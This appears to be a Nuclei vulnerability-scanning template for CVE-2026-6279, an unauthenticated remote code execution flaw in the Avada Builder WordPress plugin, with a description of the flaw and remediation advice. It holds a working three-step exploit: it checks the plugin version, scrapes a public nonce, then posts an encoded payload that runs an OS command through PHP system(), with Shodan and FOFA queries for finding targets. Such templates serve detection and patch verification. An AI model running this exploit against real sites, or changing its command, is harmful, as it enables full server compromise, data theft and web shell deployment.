The Avada Builder (fusion-builder) plugin for WordPress (versions <= 3.15.2) is vulnerable to unauthenticated remote code execution via PHP function injection. The fusion_get_widget_markup AJAX action is registered for unauthenticated users (wp_ajax_nopriv_fusion_get_widget_markup) and is gated only by check_ajax_referer('fusion_load_nonce') - which validates nonce integrity, not user identity. That nonce is minted with wp_create_nonce() for user ID 0 and is deterministically inlined into the JavaScript (fusionPostCardsVars / fusionTableOfContentsVars, key "nonce") of any public page that renders a [fusion_post_cards] or [fusion_table_of_contents] shortcode. The attacker-controlled render_logics parameter is base64-decoded and JSON-decoded, and in the wp_conditional_tags case of Fusion_Builder_Conditional_Render_Helper::get_value() the decoded function and args are passed directly to call_user_func() with no allowlist, enabling arbitrary PHP function (and thus OS command) execution.
id: CVE-2026-6279
info:
name: Avada Builder (fusion-builder) <= 3.15.2 - Unauthenticated RCE via PHP Function Injection
author: DhiyaneshDk
severity: critical
description: |
The Avada Builder (fusion-builder) plugin for WordPress (versions <= 3.15.2) is vulnerable to unauthenticated remote code execution via PHP function injection. The fusion_get_widget_markup AJAX action is registered for unauthenticated users (wp_ajax_nopriv_fusion_get_widget_markup) and is gated only by check_ajax_referer('fusion_load_nonce') - which validates nonce integrity, not user identity. That nonce is minted with wp_create_nonce() for user ID 0 and is deterministically inlined into the JavaScript (fusionPostCardsVars / fusionTableOfContentsVars, key "nonce") of any public page that renders a [fusion_post_cards] or [fusion_table_of_contents] shortcode. The attacker-controlled render_logics parameter is base64-decoded and JSON-decoded, and in the wp_conditional_tags case of Fusion_Builder_Conditional_Render_Helper::get_value() the decoded function and args are passed directly to call_user_func() with no allowlist, enabling arbitrary PHP function (and thus OS command) execution.
impact: |
Unauthenticated remote code execution. An anonymous attacker who scrapes the public UID-0 nonce can invoke any single-argument PHP function (system, passthru, shell_exec, exec, file_get_contents, assert, ...), achieving full server compromise, data exfiltration and web shell deployment.
remediation: |
Update Avada Theme / Avada Builder (fusion-builder) to version 3.15.3 or later, which adds a function allowlist to the wp_conditional_tags render_logics handler.
reference:
- https://github.com/advisories/GHSA-f53p-382v-8pj7
- https://nvd.nist.gov/vuln/detail/CVE-2026-6279
- https://plugins.trac.wordpress.org/browser/fusion-builder/tags/3.15.0/inc/helpers/class-fusion-builder-conditional-render-helper.php#L1531
- https://github.com/xxconi/CVE-2026-6279
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2026-6279
epss-score: 0.09885
epss-percentile: 0.95603
cwe-id: CWE-74
metadata:
verified: true
max-request: 3
vendor: themefusion
product: fusion-builder
framework: wordpress
shodan-query: http.component:"Avada Theme"
fofa-query: body="fusion-builder" && body="avada"
tags: cve,cve2026,wordpress,wp-plugin,rce,injection,unauth,avada,fusion-builder,vkev
variables:
cmd: "id"
flow: http(1) && http(2) && http(3)
http:
- raw:
- |
GET /wp-content/plugins/fusion-builder/readme.txt HTTP/1.1
Host: {{Hostname}}
matchers:
- type: dsl
internal: true
dsl:
- 'contains_any(body, "Avada Builder", "fusion-builder")'
- 'compare_versions(plugin_version, "<= 3.15.2")'
condition: and
extractors:
- type: regex
name: plugin_version
part: body
group: 1
regex:
- "(?i)Stable tag:\\s*([0-9]+\\.[0-9]+(?:\\.[0-9]+)?)"
internal: true
- raw:
- |
GET {{path}} HTTP/1.1
Host: {{Hostname}}
payloads:
path:
- "/"
- "/blog/"
- "/blog-cards/"
- "/news/"
stop-at-first-match: true
matchers:
- type: dsl
dsl:
- 'contains_any(body, "fusionPostCardsVars", "fusionTableOfContentsVars")'
internal: true
extractors:
- type: regex
name: fusion_nonce
part: body
group: 1
regex:
- 'fusion(?:PostCards|TableOfContents)Vars\s*=\s*\{[^}]*?"nonce"\s*:\s*"([a-f0-9]{8,})"'
internal: true
- raw:
- |
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
X-Requested-With: XMLHttpRequest
action=fusion_get_widget_markup&fusion_load_nonce={{fusion_nonce}}&widget_type=WP_Widget_Recent_Posts&type=WP_Widget_Recent_Posts&widget_id=2&number=2&render_logics={{url_encode(base64(concat('{"type":"wp_conditional_tags","value":{"function":"system","args":"', cmd, '"}}')))}}
matchers:
- type: dsl
dsl:
- 'contains_all(body, "uid=","gid=")'
- 'status_code == 200'
condition: and
extractors:
- type: regex
name: command_output
part: body
group: 1
regex:
- "(uid=[0-9]+\\([a-z0-9_-]+\\)[^<\\n]*)"
# digest: 4a0a00473045022100f4f48298849b0f0b433783974d9787268259ebb9b7271ead019ad4db413b253c0220757bcd4b16e811a18a4d855594f33a9ba98d942969cad9a339af33f1f6b2a79f:922c64590222798bb761d5b6d8e72950
# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.